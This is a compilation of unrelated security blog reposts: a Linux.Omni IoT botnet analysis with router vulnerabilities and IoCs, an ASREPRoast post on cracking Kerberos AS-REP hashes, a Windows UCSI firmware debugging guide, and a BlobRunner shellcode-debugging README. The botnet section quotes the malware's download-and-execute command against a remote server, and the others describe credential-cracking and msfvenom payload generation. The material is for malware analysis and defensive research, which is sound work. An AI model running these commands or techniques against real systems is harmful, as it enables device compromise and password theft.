This is a vulnerability reported in 2014 and which has already been used by the malware The Moon, which allows bypassing the login through the CAPTCHA and allows an external attacker to execute remote code.

The vulnerable firmware versions on the D-Link routers are the following:

DI-524 C1 3.23
DIR-628 B2 1.20NA 1.22NA
DIR-655 A1 1.30EA

TR-069 – SOAP

This vulnerability was already exploited by the Mirai botnet in November 2016, which caused the fall of the Deutsche Telekom ISP.

The vulnerability is as follows:

We can also find it in the binary.

Huawei Router HG532 – Arbitrary Command Execution

Vulnerability detected in Huawei HG532 routers in the incorrect validation of a configuration file, which can be exploited through the modification of an HTTP request.

This vulnerability was already detected as part of the Okiru/Satori malware and analyzed in a previous article: (Analysis of Linux.Okiru)

Netgear – Setup.cgi RCE

Vulnerability that affects the DGN1000 1.1.00.48 firmware of Netgear routers, which allows remote code execution without prior authentication.

Realtek SDK

Different devices use the Realtek SDK with the miniigd daemon vulnerable to the injection of commands through the UPnP SOAP interface. This vulnerability, like the one mentioned above for Huawei HG532 routers, can already be found in samples of the Okiru/Satori botnet.

GPON

Finally, we found the latest vulnerability this past month, which affects GPON routers and is already incorporated to both IoT botnets and miners that affect Linux servers.

On the other hand, the botnet also makes use of diffusion through the default credentials (the way our honeypot system was infected), although these are encoded with an XOR key different from the 0x33 (usual in the base form) where each of the combinations has been encoded with a different key.

Infrastructure analysis

Despite the variety of attack vectors, the commands executed on the device are the same:

cd /tmp;rm -rf *;wget http://%s/{marcaDispositivo};sh /tmp/{marcaDispositivo}

The downloaded file is a bash script, which downloads the sample according to the architecture of the infected device.

As we can see, this exploit does not correspond with the analyzed sample, but is only dedicated to the search of devices with potentially vulnerable HTTP interfaces, as well as the vulnerability check of the default credentials, thus obtaining two types of infections, the one that uses the 11 previously mentioned vulnerabilities and the one that only reports the existence of exposed HTTP services or default credentials in potential targets.

Therefore, the architecture is very similar to the one found previously in the IoTReaper botnet.

Behind Omni

Investigating the references in the binaries we find the IP address 213.183.53 [.] 120, which is referenced as a download server for the samples. Despite not finding a directory listing available (in other variants it is quite common to find it), in the root directory we find a “Discord” platform, which is (officially) a text and voice chat for the gamer audience.

So, since it didn’t require any permissions or special invitation, we decided to choose a megahacker name, and enter the chat.

Once inside, we observed that the general theme of the chat is not video games, but a platform for the sale of botnet services.

After a couple of minutes in the room, it follows that the person behind the infrastructure is the user Scarface, who has decided to make some very cool advertising posters (and according to the aesthetics of the film of the same name).

In addition, it also offers support, as well as requests from potential consumers seeking evidence that their botnet is capable of achieving a traffic volume of 60 Gbps.

We can find some rather curious behaviors that denote the unprofessional nature of this group of cybercriminals, for example how Scarface shows the benefit it has gained from the botnet (and how ridiculous the amount) or how they fear that any of those who have entered the chat are cops.

So, we can determine that the Linux.Omni malware is an updated version of the IoTReaper malware, which uses the same network architecture format, besides importing, practically, all the Mirai source code.

Attached is the Yara rule for detecting the Linux.Omni malware:

IoC

213.183.53[.]120
21aa9c42b42e95c98e52157fd63f36c289c29a7b7a3824f4f70486236a2985ff
4cf7e64c3b9c1ad5fa57d0d0bbdeb930defcdf737fda9639955be1e78b06ded6
6dfd411f2558e533728bfb04dd013049dd765d61e3c774788e3beca404e0fd73
000b018848e7fd947e87f1d3b8432faccb3418e0029bde7db8abf82c552bbc63
5ad981aefed712909294af47bce51be12524f4b547a63d7faaa40d3260e73235
31a2779c91846e37ad88e9803cbad8f8931e3229e88037f1d27437141ecbd164
528344fd220eff87b7494ca94caed6eae7886d8003ad37154fdb7048029e880b
cfca058a4d0a29b3da285a5df21b14c360fb3291dff3c941659fe27f3738ba3e
2b32375864d0849e676536b916465a1fbb754bbdf783421948023467d364fb4c
700c9b51e6f8750a20fcc7019207112690974dcda687a83626716d8233923c17
feb362167c9251dd877a0d76d3b42b68fcd334181946523ca808382852f48b7d
ca6bc4e4c490999f97ee3fd1db41373fc0ba114dce2e88c538998d19a6f694da
fc4cfc6300e3122ef9bbe6da3634d3b9839e833e4fc2cea8f1498623398af015
0fd93aeb2af3541daa152d9aff8388c89211b99d46ead1220c539fa178543bca
02a61e1d80b1f25d161de8821a31cd710987772668ce62c8be6d9afabe932712
377a49403cef46902e77ff323fcc9a8f74ea041743ccdbff41de3c063367c99a
812aa39075027b21671e5a628513378c598aef0feb57d0f5d837375c73ade8e8
c9caccd707504634185ee2a94302e3964fb6747963e7020dffa34de85bd4d2ce
a159c7b5d2c38071eb11f5e28b26f7d8beaf6f0f19a8c704687f26bfa9958d78
5eb7801551ee15baec5ef06b0265d0d0cc8488f16763517344bb8456a2831b82
2f1d0794d24b7b4f164ebce5bdde6fccd57cdbf91ea90ec2f628caf7fd991ce4

(N.d.E.: Original post in Spanish)

Roasting AS-REPs

( Original text  by )

Last November, I published a post titled “Kerberoasting Without Mimikatz” that detailed new developments with PowerView and Tim Medin‘s Kerberoasting attack. This started me down the path of looking at Kerberos just a bit more closely. Then a few weeks ago, my coworker Lee Christensen found an interesting presentation from Geoff Janjua of Exumbra Operations titled “Kerberos Party Tricks: Weaponizing Kerberos Protocol Flaws“, slides and toolkit located here. One of the interesting points that Geoff mentioned, and that his Python-based “Party Trick” toolkit executes, was abusing user accounts that don’t require Kerberos preauthentication.

I recently dove much deeper into this topic and wanted to share what I was able to learn and develop. This post will give some detailed background on the aspect of Kerberos we’re abusing, what the precise issue is, how to easily enumerate accounts that don’t need preauth, how to extract crackable hashes in these situations, and finally how to crack these retrieved hashes efficiently. There is also an associated PowerShell toolkit, ASREPRoast, that is now live on GitHub.

tl;dr – if you can enumerate any accounts in a Windows domain that don’t require Kerberos preauthentication, you can now easily request a piece of encrypted information for said accounts and efficiently crack the material offline, revealing the user’s password.

Note: this isn’t anything revolutionary, and obviously isn’t as useful as Kerberoasting, as accounts have to have DONT_REQ_PREAUTH explicitly set for them to be vulnerable – you’re still reliant upon weak password complexity for the attack to work. However, this setting still exists on someaccounts in some environments, we’re just not sure as to the frequency as it’s not something we normally looked for before. Our guess is that it’s likely enabled for older accounts, specifically Unix-related ones. If you happen to find it “in the wild”, we’d love to hear from you 😉 (@harmj0y or will [at] harmj0y.net).

[Edit] if you have GenericWrite/GenericAll rights over a target user, you can maliciously modify their userAccountControl to not require preauth, use ASREPRoast, and then reset the value 😉

Background

I’m not going to go through all aspects of Kerberos, as people like Sean Metcalf have already done a great job of this. If terms like AS-REQ and AS-REP are completely foreign to you, I would recommend reading Sean’s post for some basic background first. The aspect we care for the purposes of this post is something called Kerberos preauthentication.

Under normal operations in a Windows Kerberos environment, when you initiate a TGT request for a given user (Kerberos AS-REQ, message type 10) you have to supply a timestamp encrypted with that user’s key/password. This structure is PA-ENC-TIMESTAMP and is embedded in PA-DATA (preauthorization data) of the AS-REQ – both of these structure are described in detail on page 60 of RFC4120 and were introduced in Kerberos Version 5. The KDC then decrypts the timestamp to verify if the subject making the AS-REQ really is that user, and then returns the AS-REP and continues with normal authentication procedures.

Note: the KDC does increase the badpwdcount attribute for any incorrect PA-ENC-TIMESTAMP attempts, so we can’t use this as a method to online brute-force account passwords 🙁

The reason for Kerberos preauthentication is to prevent offline password guessing. While the AS-REP ticket itself is encrypted with the service key (in this case the krbtgt hash) the AS-REP “encrypted part” is signed with the client key, i.e. the key of the user we send an AS-REQ for. If preauthentication isn’t enabled, an attacker can send an AS-REQ for any user that doesn’t have preauth required and receive a bit of encrypted material back that can be cracked offline to reveal the target user’s password.

This is something that has been known for a long time, after all, it’s the reason preauth was implemented in Kerberos! In modern Windows environments, all user accounts require Kerberos preauthentication, but interestingly enough, by default Windows attempts the AS-REQ/AS-REP exchange without preauthentication first, falling back to supplying the encrypted timestamp on the second submission:

I have no idea why this behavior happens ¯\_(ツ)_/¯

[Edit] @munmap pointed out on Twitter that this behavior is due to the client not knowing the supported ETYPES ahead of time, something explicitly detailed in section 2.2 of RFC6113.

However, Windows offers a way to manually disable this protection for specific accounts through a useraccountcontrol modification:

If you’re already an authenticated (but otherwise unprivileged) user, you can easily enumerate what users in the domain have this setting with the LDAP filter (userAccountControl:1.2.840.113556.1.4.803:=4194304)PowerView‘s Get-DomainUser already has this implemented with the -PreauthNotRequired parameter:

So now we know what the issue is and how to identify vulnerable users. While people have executed brute-forcing of the AS-REQ’s PA-ENC-TIMESTAMP component of Kerberos exchanges for well over a decade (the hash format is even in Hashcat, -m 7500/ ‘Kerberos 5 AS-REQ Pre-Auth’) the only toolset I’ve seen that attacks RC4 AS-REPs is Geoff’s Python toolkit. We wanted something that was Windows based that also didn’t need administrative privileges on a machine to allow us flexibility in our attack workflow. We also wanted a faster way to crack these hashes.

ASREPRoast

My first hope was to find something in .NET that exposed the raw bytes of the AS-REP similar to the Kerberoasting approach. I spent a while searching for any .NET method that would allow access to the raw byte response of the AS-REP and unfortunately came up short. Though I can’t say definitively if this is impossible, my gut feeling is that it’s likely an abstraction level too deep for us to access easily through .NET. Even if there was, we would still have one complication, as modern Windows Kerberos environments default to the the AES256-CTS-HMAC-SHA1-96 encryption in the AS-REP instead of the much quicker ARCFOUR-HMAC-MD5/RC4 approach. RC4-HMAC is significantly quicker to crack, so we prefer it if possible.

The approach I ended up taking was to construct the AS-REQ by hand in order to control the necessary parameters, and parsing the KDC’s AS-REP response in order to determine success/failure and extract the encrypted material. Here was another roadblock- Kerberos uses ASN.1 encoding for its structures, something that .NET does not have built in encoders or decoders for. Luckily, there is an open source C# version of the Bouncy Castle crypto library that features, among many, many other things, robust capability for ASN.1 encoding and decoding.

Unfortunately, I don’t have time to give a full ASN.1 tutorial, but I will share a few pointers that helped me while developing this tool. The specifications we care about for the AS-REQ are laid out on page 55 of RFC1510 and page 74 of RFC4120Benjamin Delpy also documents all these ASN.1 structures amazingly in his Kekeo project. Here’s the structure description:

Another thing that helped me a lot was to Wireshark legitimate Kerberos exchanges, export the Kerberos packet bytes, and visualize the data using this JavaScript ASN.1 decoder:

This particularly helped during the next part, which was learning how to use Bouncy Castle through PowerShell to construct a proper ASN.1 encoded AS-REQ. But after a few struggles with tagging and finding the correct data structures, I came up with New-ASReq, which takes a user/domain name, builds the properly nested components, and returns the raw bytes for the request.

And because we’re building this by hand, we can include or omit anything we want. So we can include just the ARCFOUR-HMAC-MD5 etype instead of all supported encryption etypes. This type and its use in Windows Kerberos auth is explained in detail in RFC4757. What’s especially nice is that section 3 includes the message types for different uses of the algorithm. While the AS-REP ticket uses type 2 like a TGS-REP ticket (i.e. kerberoasting) this component of the response is encrypted with the service key, which in this case is the krbtgt hash and therefore not crackable. However, the AS-REP encrypted part, which is the section we can essentially ‘downgrade’ to RC4-HMAC, is the same algorithm but of message type 8. This will come into play later during the cracking section.

A second function in ASREPRoastGet-ASREPHash, wraps New-ASReq to generate the appropriate AS-REQ for a specific user/domain, enumerates a domain controller for the passed domain, sends the crafted AS-REQ, and receives the response bytes. Bouncy Castle is used to decode the response, checking whether it is a KRB-ERROR response or a proper AS-REP. If the request succeeded, we can extract out the enc-part section that’s RC4-HMAC encrypted using the specified user’s hash and return it in a nice format:

The final useful function in ASREPRoast is Invoke-ASREPRoast. If run from a domain authenticated, but otherwise unprivileged, user context in a Windows Kerberos environment, this function will first enumerate all users who have “Do not require Kerberos preauthentication” set in their user account control settings by using the LDAP filter (userAccountControl:1.2.840.113556.1.4.803:=4194304). For each user returned Get-ASREPHash is used to return a crackable hash:

Cracking The Hashes

We now have a nice set hash representations of RC4-HMAC AS-REPs, each of which are encrypted with a user’s password. We should now be able to crack these offline à la Kerberosting (krb5tgsformat in John the Ripper), but remember that despite using the same algorithm and approach as the existing TGS-REP format, the message type here is 8 instead of 2.

This unfortunately means that existing plugins won’t work, but luckily for us, all we have to do is change this line to an 8 instead of a 2, remove some of the specific TGS ASN.1 speedups, and change the format naming. I have a included a tweaked version of this krb5_asrep_fmt_plug.c plugin with the ASREPRoast project. Simply drop it into the source folder for Magnumripper, run the normal build instructions, and you’d good to go for cracking the output of ASREPRoast.ps1:

I believe that it should be simple to modify Hashcat’s existing TGS-REP format as well in a similar way, but I haven’t attempted it yet. Also, because this is the same algorithm as the krb5tgs/Kerberoasting format, just with a tweak in key material, performance should be similar to the existing modules.

Closing Thoughts

As I mentioned at the beginning, this obviously isn’t as useful as the Kerberoasting attack, as accounts have to have DONT_REQ_PREAUTH explicitly set for them to be vulnerable, and you’re still reliant upon weak password complexity for the attack to work. However, this setting is sometimes present in some environments, often on aging accounts for backwards compatibility reasons, and we feel that the toolset will be operationally useful in some situations at least.

Defensively, the same protections outlined for Kerberoasting apply here, specifically have really long passwords for these types of accounts and alert when abnormal hosts are sent an AS-REP for the account. Also, audit what accounts have this setting, which is easy with PowerView (Get-DomainUser -PreauthNotRequired) or other LDAP toolsets with the (userAccountControl:1.2.840.113556.1.4.803:=4194304) filter. Carefully consider whether accounts with this setting truly are needed.

[Edit] also for the defensive side, @munmap suggested investigating Kerberos FAST pre-authentication and/or Public Key Cryptography for Initial Authentication in Kerberos (PKINIT).

Debugging UCSI firmware failures

( Original text by Rajib Dutta )

Background

The UCSI driver in Windows communicates with the firmware UCSI component (called PPM or Platform Policy Manager) through the spec-defined command notification interfaces. While driver failures can be tracked using Windows Error Reporting or WER and driver traces, the firmware may run into failures as well which might go undetected at first but result into loss of functionality later in time. UCSI compliant machines in the wild do run into such failures every day in the tens of thousands.
This document intends to describe a way in which an OEM or a firmware developer may avoid these PPM failures pro-actively running some stress tests.

  1. The most common PPM failure is UCSI command timeout.
  2. UcmUcsiCx.sys or UcmUcsi.sys is the inbox component in Windows that communicates with PPM. Here is a typical message flow between the driver and the firmware.
  3. UcmUcsiCx.sys/UcmUcsi.sys driver sends a UCSI command to PPM
    PPM asynchronously sends command complete notification (CCI:: Command Complete Indicator*).
  4. The driver receives the command complete notification and then send Ack to PPM (ACK_CC_CCI)
    PPM asynchronously send ack complete notification (CCI::Acknowledge Command Indicator).
    The driver waits for 10 seconds for an asynchronous notification (steps (2) and (4)) before giving up and generating failure report or a livedump.

*Note that the above steps are performed for all UCSI commands except PPM_RESET since after PPM_RESET the PPM Is expected to be in reset state where no notifications are enabled. The driver then polls for CCI::Reset Complete Indicator to be true.

 

Converting firmware failures to bugchecks

One way in which an OEM or a firmware developer can catch these failures in the lab or development environment is the configure the machine to bugcheck generating a kernel crashdump rather than  livedump which may go undetected. In addition to repro the failure, we advise an OEM/firmware developer to use Connection Exerciser Stress test: CxStress. CxStress is a part of MUTT software pachage found in this location.

  • Setup Connection exerciser: An example connection is shown in the following picture where the Type-C connector of the SUT is connected to the connection exerciser. The 4 Type-C ports of the connection exerciser is connected to 4 different kinds of the partners.ucsi setup.png
  • Configure UcmUcsiCx.sys to elevate livedump to crashdump
    • Locate the device node in Device Manager (devmgmt.msc) named UCM-UCSI ACPI Device. The node is under the USB Connector Manager
    • Right-click on the device, and select Properties and open the Details
    • Select Device Instance Path from the drop-down and note the property value.
    • On an elevated command prompt
      • reg add «HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\<device-instance-path>\Device Parameters» /v ForceCommandFailureCrash /t REG_DWORD /d 0x01
    • Restart the device by selecting the Disable option on the device node in Device Manager, and then selecting Enable. Alternatively, you can simply restart the PC.
  • Run CxStess.cmd (typically found in “C:\Program Files (x86)\USBTest\x64”). For completeness, we recommend you to run this test overnight (~8 hours).
  • Keep an eye on bugchecks that might happen due to the above test. The next section talks about how to go about finding their root cause.

Analyzing Firmware Failures

This section goes through analysis of an example crash that occurred when UcmUcsiCx driver was configured to generate a crashdump instead of a livedump.

Run !analyze to check the failure type. Bugcheck code: 0x1D4 is the UCSI failure code.

 

1: kd> !analyze -v

UCMUCSI_FAILURE (1d4)
The UcmUcsi driver has encountered an error.
Arguments:
Arg1: 0000000000000000, A UCSI command has timed out because the firmware did not respond to the command in time.
Arg2: 0000000000000005, The UCSI command value.
Arg3: ffff988646b2f8d0, If non-zero, the pointer to additional information (dt UcmUcsiCx!UCMUCSICX_TRIAGE).
Arg4: 0000000000000000

Debugging Details:
..

 

 

Get UcmUcsiCx driver traces. The following text contains the last few lines of the trace which we are interested in. The last few entries in the traces are related to the driver trying to stop the state machine and generating a dump. Look for the state machine event called CommandTimeOut and retrace the state machine transitions back a few steps to find out which command has timed out. In this specific example, it happens to be SetNotificationEnable UCSI command. Refer line 1076, 1083 and 1085 in the following WPP trace dump from Windbg.

1: kd> !rcdrkd.rcdrlogdump ucmucsicx
Trace searchpath is: 

Trace format prefix is: %7!u!: %!FUNC! - 
Trying to extract TMF information from - C:\ProgramData\Dbg\sym\UcmUcsiCx.pdb\DA9957412F663B283F7EF8BE9406D0551\UcmUcsiCx.pdb
--- start of log ---
…
…
…
1073: UcmUcsiCx::CommandHandler::EvtLogTransition - [COMMAND HANDLER] SmFx transition [Transition: External][Source: WaitingForCommand][Event : CommandAvailable][Target: ProcessNextCommand]
1074: UcmUcsiCx::CommandHandler::EvtLogTransition - [COMMAND HANDLER] SmFx transition [Transition: Call][Source: ProcessNextCommand][Event : _noevent_][Target: RetreiveCommandType]
1075: UcmUcsiCx::CommandHandler::EvtLogTransition - [COMMAND HANDLER] SmFx transition [Transition: External][Source: RetreiveCommandType][Event : AsyncCommand][Target: SendNewCommandToPPM]
1076: UcmUcsiCx::CommandHandler::SendUCSICommandToPpm - [UCMUCSIPPM: 0x0000507062114698] Sending Command UcsiCommandSetNotificationEnable to client


1077: UcmUcsiCx::CommandHandler::EvtLogEventEnqueue - [COMMAND HANDLER] SmFx event: RequestCompletedSuccessfully
1078: UcmUcsiCx::CommandHandler::EvtLogTransition - [COMMAND HANDLER] SmFx transition [Transition: Call][Source: SendNewCommandToPPM][Event : _noevent_][Target: WaitingForRequestCompletion]
1079: UcmUcsiCx::CommandHandler::EvtLogTransition - [COMMAND HANDLER] SmFx transition [Transition: ExplicitPop][Source: WaitingForRequestCompletion][Event : RequestCompletedSuccessfully][Target: SendNewCommandToPPM]
1080: UcmUcsiCx::CommandHandler::EvtLogTransition - [COMMAND HANDLER] SmFx transition [Transition: External][Source: SendNewCommandToPPM][Event : Succeeded][Target: StartingCommandCompleteTimer]
1081: UcmUcsiCx::CommandHandler::EvtLogTransition - [COMMAND HANDLER] SmFx transition [Transition: External][Source: StartingCommandCompleteTimer][Event : Done][Target: WaitingForCommandComplete]
1082: UcmUcsiCx::Opm::EvtLogTransition - [OPM] SmFx transition [Transition: Call][Source: EnableCmdCompleteNotificationOnPowerUp][Event : _noevent_][Target: WaitingForCommandCompletion]
1083: UcmUcsiCx::CommandHandler::PrettyPrintCCI - [CCI] ConnChange:0x0 | DataLength:0x0 | NotSupported:0 | CancelCompleted:0 | ResetCompleted:1 | Busy:0 | AckCommand:0 | Error:0 | CommandComplete:0 |
1084: UcmUcsiCx::CxDevice::EvtDeviceWdmPreprocessSetPowerIrp - [WDFDEVICE: 0x000050706D0133C8] System Power Down to SYSTEM_POWER_STATE:0x5
1085: UcmUcsiCx::CommandHandler::EvtLogEventEnqueue - [COMMAND HANDLER] SmFx event: CommandTimedOut
1086: UcmUcsiCx::CommandHandler::EvtLogTransition - [COMMAND HANDLER] SmFx transition [Transition: ExplicitPop][Source: WaitingForCommandComplete][Event : CommandTimedOut][Target: ProcessNextCommand]
1087: UcmUcsiCx::CommandHandler::EvtLogTransition - [COMMAND HANDLER] SmFx transition [Transition: ImplicitPop][Source: ProcessNextCommand][Event : UnrecoverableFailure][Target: Started]
1088: UcmUcsiCx::CommandHandler::EvtLogTransition - [COMMAND HANDLER] SmFx transition [Transition: External][Source: Started][Event : UnrecoverableFailure][Target: Failed]
1089: UcmUcsiCx::Opm::EvtCommandCompletionReceived - [UCMUCSIPPM: 0x0000507062114698] Response timed out for command UcsiCommandSetNotificationEnable, 0x00000102(STATUS_TIMEOUT)
1090: UcmUcsiCx::Opm::EvtLogEventEnqueue - [OPM] SmFx event: Stop
1091: UcmUcsiCx::Opm::EvtLogTransition - [OPM] SmFx transition [Transition: External][Source: WaitingForCommandCompletion][Event : Stop][Target: WaitingForCommandCompletionAfterStop]
1092: UcmUcsiCx::Opm::EvtLogEventEnqueue - [OPM] SmFx event: CommandComplete
1093: UcmUcsiCx::Opm::EvtLogTransition - [OPM] SmFx transition [Transition: ExplicitPop][Source: WaitingForCommandCompletionAfterStop][Event : CommandComplete][Target: EnableCmdCompleteNotificationOnPowerUp]
1094: UcmUcsiCx::Opm::EvtLogTransition - [OPM] SmFx transition [Transition: ImplicitPop][Source: EnableCmdCompleteNotificationOnPowerUp][Event : Stop][Target: PowerDownAndWaitForPowerUp]
1095: UcmUcsiCx::Opm::EvtLogTransition - [OPM] SmFx transition [Transition: ImplicitPop][Source: PowerDownAndWaitForPowerUp][Event : Stop][Target: PpmOperational]
1096: UcmUcsiCx::Opm::EvtLogTransition - [OPM] SmFx transition [Transition: ExplicitPop][Source: PpmOperational][Event : Stop][Target: Started]
1097: UcmUcsiCx::Opm::EvtLogTransition - [OPM] SmFx transition [Transition: External][Source: Started][Event : Stop][Target: PurgingUnserviceCommandsDueToStop]
1098: UcmUcsiCx::Opm::EvtLogTransition - [OPM] SmFx transition [Transition: External][Source: PurgingUnserviceCommandsDueToStop][Event : Done][Target: StopCommandHandlerMachine]
1099: UcmUcsiCx::CommandHandler::EvtLogEventEnqueue - [COMMAND HANDLER] SmFx event: Stop
1100: UcmUcsiCx::CxDevice::UnrecoverableFailureEncountered - [WDFDEVICE: 0x000050706D0133C8] An unrecoverable failure has been encountered. The device will now restart.
---- end of log ----

To summarize the above failure, UcmUcsiCx driver sends SetNoficationEnable command to the firmware and the firmware fails to send command complete notification within the timeout period of 10 seconds. Instead it sends a Reset Complete notification.

When such a failure occurs, we advise an OEM with work with firmware developer to fix the problem.

BlobRunner — Quickly Debug Shellcode Extracted During Malware Analysis

( Original text by LYDECKER BLACK )

BlobRunner is a simple tool to quickly debug shellcode extracted during malware analysis.
BlobRunner allocates memory for the target file and jumps to the base (or offset) of the allocated memory. This allows an analyst to quickly debug into extracted artifacts with minimal overhead and effort.

 

To use BlobRunner, you can download the compiled executable from the releases page or build your own using the steps below.
Building
Building the executable is straight forward and relatively painless.
Requirements

  • Download and install Microsoft Visual C++ Build Tools or Visual Studio

Build Steps

  • Open Visual Studio Command Prompt
  • Navigate to the directory where BlobRunner is checked out
  • Build the executable by running:
cl blobrunner.c

Building BlobRunner x64
Building the x64 version is virtually the same as above, but simply uses the x64 tooling.

  • Open x64 Visual Studio Command Prompt
  • Navigate to the directory where BlobRunner is checked out
  • Build the executable by running:
 cl /Feblobrunner64.exe /Foblobrunner64.out blobrunner.c

Usage
To debug:

  • Open BlobRunner in your favorite debugger.
  • Pass the shellcode file as the first parameter.
  • Add a breakpoint before the jump into the shellcode
  • Step into the shellcode
BlobRunner.exe shellcode.bin

Debug into file at a specific offset.

BlobRunner.exe shellcode.bin --offset 0x0100

Debug into file and don’t pause before the jump. Warning: Ensure you have a breakpoint set before the jump.

BlobRunner.exe shellcode.bin --nopause

Debugging x64 Shellcode
Inline assembly isn’t supported by the x64 compiler, so to support debugging into x64 shellcode the loader creates a suspended thread which allows you to place a breakpoint at the thread entry, before the thread is resumed.

Remote Debugging Shell Blobs (IDAPro)
The process is virtually identical to debugging shellcode locally — with the exception that the you need to copy the shellcode file to the remote system. If the file is copied to the same path you are running win32_remote.exe from, you just need to use the file name for the parameter. Otherwise, you will need to specify the path to the shellcode file on the remote system.

Shellcode Samples
You can quickly generate shellcode samples using the Metasploit tool msfvenom.
Generating a simple Windows exec payload.

msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -o test2.bin

Feedback / Help

  • Any questions, comments or requests you can find us on twitter: @seanmw or @herrcore
  • Pull requests welcome!